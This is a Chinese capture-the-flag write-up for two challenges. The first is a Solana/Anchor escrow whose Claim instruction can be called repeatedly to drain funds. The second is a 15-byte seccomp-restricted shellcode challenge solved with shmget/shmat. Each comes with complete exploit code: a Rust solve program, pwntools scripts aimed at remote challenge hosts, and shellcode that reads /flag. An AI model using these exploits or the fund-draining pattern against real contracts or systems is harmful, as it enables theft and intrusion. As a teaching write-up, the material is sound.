Payment

本题使用 Solana 实现了一个担保交易程序，主要模拟的是类似淘宝的这种非一手交钱一手交货的在线支付场景，用户通过 Pay 支付sol后，会先将sol放在监管账户，在一段时间后，收款方才能通过 Claim 将sol取出。同时，付款方能通过 Confirm 提前确认，使收款方能立刻取走资金，收款方能主动通过 Refund 发起退款。若发生了交易争议，也可由admin来发起退款。

本题在server中先进行了一些初始化操作，admin初始有接近 100sol，user则是 10sol，然后 admin 通过 secured_payment program Pay 给了 user 100 sol，但解锁期在 1 年之后，user目标是让自己余额超过 110sol，也就是要把admin付的这笔钱拿到。

漏洞在 Claim 指令中，是由于混合使用 Anchor Account 以及 AccountInfo 的 try_borrow_mut_data 导致的问题。若已经使用 anchor 声明了非zero_copy类型的Account，仍在instruction handler中使用原始的 try_borrow_mut_data 写入account数据，会导致通过 try_borrow_mut_data 写入的数据无效。

```
/* programs/secured_payment/src/instructions/claim.rs */
006 | #[derive(Accounts)]
007 | pub struct Claim<'info> {
035 |     #[account(
036 |         mut,
037 |         has_one = from @ SecuredPaymentError::IncorrectFromAccount,
038 |         has_one = to @ SecuredPaymentError::IncorrectToAccount
039 |     )]
040 |     pub payment: Account<'info, Payment>,

067 | pub fn checked_claim<'info>(
074 | )  -> Result<Vec<u8>> {
075 |
076 |     // validate and deserialize payment account
077 |
078 |     let mut payment = {
079 |         let buf = &mut &payment_info.try_borrow_data()?[8..];
080 |         Payment::deserialize(buf)?
081 |     };

159 |     // write back
160 |     {
161 |         payment.serialize(&mut &mut payment_info.try_borrow_mut_data()?
[8..])?;
162 |         customer_record.serialize(&mut &mut
customer_record_info.try_borrow_mut_data()?[8..])?;
163 |     }
```

具体原因需要先了解 Solana 和 Anchor 的基本工作原理。
Solana 将外部调用提供的所有的 account 的数据都放在 input 区域（内存地址为 0x400000000，参考 https://solana.com/docs/programs/faq ），program 若希望修改 account数据，直接修改input区域中对应account的数据即可，程序运行结束后，这些修改会被持久化到区块链中。

而 Anchor 对于 account 也有额外的处理，在进入到Instruction处理函数前，anchor会按照对应Instruction的Accounts结构（例如对于我们的Claim指令，就是上方这个Claim结构体）反序列化所有需要的account，并进行各种检查，方便内部直接使用。

对于声明为 Account 类型的账户，anchor 会从input区域读取对应的account的数据，并反序列化出对应的struct，该struct将会是一个在堆上的副本，对这个struct进行的修改不会立刻被写回到input区域，而是在指令处理函数返回后，才将该副本序列化并写回到input区域。

而 AccountInfo 这种类型实际上是 Solana 原生SDK提供的，他的 try_borrow_mut_data / try_borrow_data 方法将会直接拿到对应account数据在input区域的指针。所以使用这个指针进行的写入将绕过 anchor，直接把数据写到 input 区域中。

所以实际在claim中各种事件发生的顺序如下：

1. Anchor 从input中的原始数据反序列化出了位于堆上的 payment 副本
2. checked_claim 直接通过 try_borrow_mut_data 修改了input区域的原始account数据
3. claim返回后，Anchor 将堆上的 payment 副本写回到了input区域区域中，该副本没有被任何人修改过，也就是说，等于执行 claim 前的状态，导致第2步进行的修改全部丢失。

```
/* programs/secured_payment/src/lib.rs */
013 | #[program]
014 | pub mod secured_payment {
029 |     pub fn claim(ctx: Context<Claim>) -> Result<Vec<u8>> { // accounts
will be deserialized before entering this function
030 |         claim_handler(ctx)
031 |     } // accounts will be serialized and written back after function
return
```

同时，Anchor的副本只包括account的data，写回时不会动account的lamports（余额）区域，所以 checked_claim 中对于各个账户余额的修改都是有效的。

所以 Claim 变成了一个在不修改 payment 数据的情况下不断给用户打钱的指令，如果你能有一个能取钱的 payment 账户，你就能重复拿它取钱，掏空对应的 custody_account。

admin付的钱放在 seed 为 [b"custody_account", from(admin)] 的 custody_account 中，所以我们需要先创建一个 from 为 admin 的 payment，且要立刻能取钱。
可以观察到 Pay 指令中没有要求 from 必须签名，实际付钱的人是payer，所以我们简单地将from 设为 admin，payer设为我们自己即可创建一个 from 为 admin 的 payment，同时将 PayArgs.lock_duration 设为 0，就能从 admin 的 custody_account 中无限提款了。

```
/* programs/secured_payment/src/instructions/pay.rs */
006 | #[derive(Accounts)]
007 | pub struct Pay<'info> {
008 |     /// CHECK: only a pubkey, we don't care who actually pay
009 |     pub from: UncheckedAccount<'info>,
010 |     /// CHECK: only a pubkey
011 |     pub to: UncheckedAccount<'info>,
012 |     #[account(mut)]
013 |     pub payer: Signer<'info>,
```

本题存在的漏洞比较难以发现，但容易通过测试来发现，一般也容易想到程序是否可能存在双花类似的问题。出题人已经在 tests/secured_payment.ts 编写了一些简单的测试用例，会使用anchor的选手其实可以直接从此处上手。

出题人exp:

```
#[program]
pub mod solve {
    use super::*;
```

```rust
    pub fn solve(ctx: Context<Solve>) -> Result<()> {
        msg!("Greetings from: {:?}", ctx.program_id);
        msg!("Your sol balance: {}", ctx.accounts.user.lamports());

        // first create a payment
        secured_payment::cpi::pay(
            CpiContext::new_with_signer(
                ctx.accounts.secured_payment.to_account_info(),
                secured_payment::cpi::accounts::Pay {
                    from: ctx.accounts.admin.to_account_info(),
                    to: ctx.accounts.user.to_account_info(),
                    payer: ctx.accounts.user.to_account_info(),
                    config: ctx.accounts.config.to_account_info(),
                    customer_record:
ctx.accounts.admin_customer_record.to_account_info(),
                    custody_account:
ctx.accounts.admin_custody_account.to_account_info(),
                    payment: ctx.accounts.new_payment.to_account_info(),
                    system_program:
ctx.accounts.system_program.to_account_info()
                },
                &[&[
                    b"new_payment".as_ref(),
                    &[ctx.bumps.new_payment],
                ]]
            ), secured_payment::instructions::PayArgs {
                amount: 10_000_000_000, // 10 sol
                message: [0; 16],
                lock_duration: None
            }
        )?;
        // claim 11 times
        for i in 0u64..11 {
            msg!("action {}", i);
            secured_payment::cpi::claim(
                CpiContext::new(
                    ctx.accounts.secured_payment.to_account_info(),
                    secured_payment::cpi::accounts::Claim {
                        from: ctx.accounts.admin.to_account_info(),
                        to: ctx.accounts.user.to_account_info(),
                        receiver: None,
                        config: ctx.accounts.config.to_account_info(),
                        customer_record:
ctx.accounts.admin_customer_record.to_account_info(),
                        custody_account:
ctx.accounts.admin_custody_account.to_account_info(),
                        payment: ctx.accounts.new_payment.to_account_info(),
                        system_program:
ctx.accounts.system_program.to_account_info()
                    }
                )
            )?;
        }
        Ok(())
    }
}
```

```
// you can add whatever accounts you need here, and remember to adjust solve.py
as well
#[derive(Accounts)]
pub struct Solve<'info> {
    #[account(mut)]
    pub user: Signer<'info>,
    /// CHECK: will be passed to SecuredPayment
    pub admin: AccountInfo<'info>,
    /// CHECK: will be passed to SecuredPayment
    pub config: AccountInfo<'info>,
    /// CHECK: will be passed to SecuredPayment
    #[account(mut)]
    pub admin_customer_record: AccountInfo<'info>,
    /// CHECK: will be passed to SecuredPayment
    pub admin_custody_account: AccountInfo<'info>,
    /// CHECK: will create new account on it, a PDA
    #[account(
        mut,
        seeds = [b"new_payment".as_ref()],
        bump
    )]
    pub new_payment: AccountInfo<'info>,
    pub secured_payment: Program<'info, SecuredPayment>,
    pub system_program: Program<'info, System>,
}
```

solve.py

```
# sample solve script to interface with the server
import pwn
import hashlib

from solders.pubkey import Pubkey

def calc_discriminator(namespace: bytes, name: bytes):
    preimage = namespace + b':' + name
    return hashlib.sha256(preimage).digest()[:8]

# if you don't know what this is doing, look at server code and also sol-ctf-
framework read_instruction:
# https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L237
# feel free to change the accounts and ix data etc. to whatever you want
account_metas = [
    ("user",                    "sw"), # signer + writable
    ("admin",                   "-r"), # read only
    ("config",                  "-r"), # read only
    ("admin_customer_record",   "rw"), # writable
    ("admin_custody_account",   "rw"), # writable
    ("new_payment",             "rw"), # writable
    ("secured_payment",         "-r"), # read only
    ("system_program",          "-r"), # read only
]

#HOST, PORT = "localhost", 1337
HOST, PORT = "3e5a27e1b8e8.target.yijinglab.com", 56601
p = pwn.remote(HOST, PORT)
```

```
with open("solve/target/deploy/solve.so", "rb") as f:
    solve = f.read()
solve_id = "BzyxyvKY5JybTPWZ3a91FyAXpPrjJUXvyNgHASkP7vHD"

p.sendlineafter(b"program pubkey: \n", solve_id.encode())
p.sendlineafter(b"program len: \n", str(len(solve)).encode())
p.send(solve)

accounts = {
    "system_program": "11111111111111111111111111111111",
    "solve": solve_id
}

p.recvuntil(b"program: ")
accounts["secured_payment"] = p.recvline().decode().strip()
p.recvuntil(b"user: ")
accounts["user"] = p.recvline().decode().strip()
p.recvuntil(b"admin: ")
accounts["admin"] = p.recvline().decode().strip()
p.recvuntil(b"payment: ")
accounts["payment"] = p.recvline().decode().strip()

accounts["config"] = str(Pubkey.find_program_address(
    [b"config"],
    Pubkey.from_string(accounts["secured_payment"])
)[0])

accounts["admin_customer_record"] = str(Pubkey.find_program_address(
    [b"customer_record", bytes(Pubkey.from_string(accounts["admin"]))],
    Pubkey.from_string(accounts["secured_payment"])
)[0])

accounts["admin_custody_account"] = str(Pubkey.find_program_address(
    [b"custody_account", bytes(Pubkey.from_string(accounts["admin"]))],
    Pubkey.from_string(accounts["secured_payment"])
)[0])

accounts["new_payment"] = str(Pubkey.find_program_address(
    [b"new_payment"],
    Pubkey.from_string(accounts["solve"])
)[0])

print(accounts)

# solve is the instruction you want to call
instruction_data = calc_discriminator(b"global", b"solve")

p.sendline(str(len(account_metas)).encode())
for name, perms in account_metas:
    p.sendline(f"{perms} {accounts[name]}".encode())

p.sendlineafter(b"ix len: \n", str(len(instruction_data)).encode())
p.send(instruction_data)

p.interactive()
```

nocontext

清除了所有的寄存器，包括 fs_base/gs_base，常规的64bit寄存器中全是垃圾数据，且shellcode段不可写，导致目前无可写段地址已知。同时通过seccomp禁用了 mmap/mprotect/brk/execve/execveat，限制shellcode长度为0xf。

有以下几种可能的思路：

1. 无可写段能orw吗？：可以，把read/write换成sendfile就能数据不落地内存，但 open + sendfile + "flag" 太长，无法压缩到 0xf 以内
2. pkey_mprotect：能实现mprotect类似效果，修改当前段的权限，但获得rip的指令太长，lea 起码 7 个字节，直接 mov 0x19260817000 更是需要 10字节，mov + shl 也要 9 字节，完全放不下，后面还需要 read 指令
3. 想办法搜索其他可写地址，并找到libc所在的地址，read + ROP 完成 orw：向某个syscall中传递非法地址时不会触发SIGSEGV，可以以此为基础爆破，出题人没测，但大概率还是没法压缩到0xf以内。
4. 想办法找别的syscall直接申请RWX内存，省去获得rip的lea指令

本题的预期解是 4，通过翻查syscall列表，能找到shm开头的一组syscall，用于申请共享内存（打kernel的可能用的多一些？），步骤如下：

1. shmget 申请共享内存，并设置shmflg至少为0700，确保当前用户有权限执行
2. shmat 映射共享内存到当前地址空间中，设置 shmflg 为 SHM_EXEC，使映射进来的内存页有执行权限。
3. read 读入新的shellcode到共享内存中
4. jmp 到映射出的RWX内存页开始执行

这一堆操作合起来仍然很长，但由于共享内存的特性，对于同一块共享内存，内容是持久的，我们可以把这些步骤拆开来进行：

1. shmget 申请共享内存
2. shmat 映射共享内存到当前地址空间中 + read 读入新的shellcode到共享内存中
3. shmat 映射共享内存到当前地址空间中 + jmp 到映射出的RWX内存页开始执行

然后就是优化一下shellcode长度了：

1. 前面有一大堆 mov xxx, rax，所以我们可以考虑清空rax之后往回跳，就能把所有64bit寄存器清零
2. 远程环境是全新的docker，也就是全新的 IPC namespace，第一次调用shmget返回的 shared memory identifier 将为0

最终长度为 (15, 15, 13)

exp.py:

```
from pwn import *
import time
import sys

context.binary = "./sc3"
context.terminal = ["tmux","splitw","-h"]
IN_DEBUG = False

gdb_args = """
"""

def interrupt(io):
    global IN_DEBUG
    if IN_DEBUG:
        gdb.attach(io, gdb_args)
```

```python
def tob(a):
    if isinstance(a, str):
        return bytes(a, encoding="latin1")
    elif isinstance(a,bytes) or isinstance(a, bytearray):
        return a
    else:
        return bytes(str(a), encoding="latin1")

def gen_io() -> tube:
    global IN_DEBUG
    if len(sys.argv) <= 1 or sys.argv[1] == "l":
        return process(context.binary.path)
    elif sys.argv[1] == "m":
        IN_DEBUG = True
        return process(context.binary.path)
    elif sys.argv[1] == "r":
        # return remote("127.0.0.1", 8888)
        return remote("2ee301ba5b1b.target.yijinglab.com", 52027)
    raise Exception(f"Unkwown option {sys.argv[1]}")


pre_sc = asm(\
f"""
mov eax, 7
mov ecx, 0
cpuid
shr ebx, 16
and ebx, 1
jz clear_mm
clear_zmm:
vpxorq zmm16, zmm16, zmm16
vpxorq zmm17, zmm17, zmm17
vpxorq zmm18, zmm18, zmm18
vpxorq zmm19, zmm19, zmm19
vpxorq zmm20, zmm20, zmm20
vpxorq zmm21, zmm21, zmm21
vpxorq zmm22, zmm22, zmm22
vpxorq zmm23, zmm23, zmm23
vpxorq zmm24, zmm24, zmm24
vpxorq zmm25, zmm25, zmm25
vpxorq zmm26, zmm26, zmm26
vpxorq zmm27, zmm27, zmm27
vpxorq zmm28, zmm28, zmm28
vpxorq zmm29, zmm29, zmm29
vpxorq zmm30, zmm30, zmm30
vpxorq zmm31, zmm31, zmm31
clear_mm:
vzeroall
mov rax, 0x123456789abcdef0
mov rbx, rax
mov rcx, rax
mov rdx, rax
mov rdi, rax
mov rsi, rax
mov rbp, rax
mov rsp, rax
mov r8, rax
mov r9, rax
```

```
mov r10, rax
mov r11, rax
mov r12, rax
mov r13, rax
mov r14, rax
mov r15, rax
""")
print("".join(["\\x"+hex(v)[2:].rjust(2, '0') for v in pre_sc]))


sc3_pre = asm(\
"""
shl eax, 28
jo $-0x30
mov al, 0x1d /* shmget */
inc esi
mov dx, 0777
syscall
""")

sc3 = asm(\
"""
shl eax, 28
jo $-0x30
mov dh, 0x80
mov al, 0x1e /* shmat */
syscall
xchg rsi, rax
syscall
""")

sc3_post = asm(\
"""
shl eax, 28
jo $-0x30
mov dh, 0x80
mov al, 0x1e /* shmat */
syscall
jmp rax
"""
)

main_sc = asm(\
f"""
lea rsp, [rip + 0x800]
mov r8, rsp
add r8, 0x200
{shellcraft.open("/flag", 0)}
{shellcraft.read("rax", "r8", 0x100)}
{shellcraft.write(1, "r8", 0x100)}
""")

print(len(sc3_pre))
print(len(sc3))
print(len(sc3_post))

io = gen_io()
interrupt(io)
```

```
# pause()
io.sendafter(b"shellcode: ", sc3_pre)
io.interactive()

io = gen_io()
interrupt(io)
io.sendafter(b"shellcode: ", sc3)
pause()
io.send(main_sc)
io.interactive()

io = gen_io()
interrupt(io)
io.sendafter(b"shellcode: ", sc3_post)
io.interactive()
```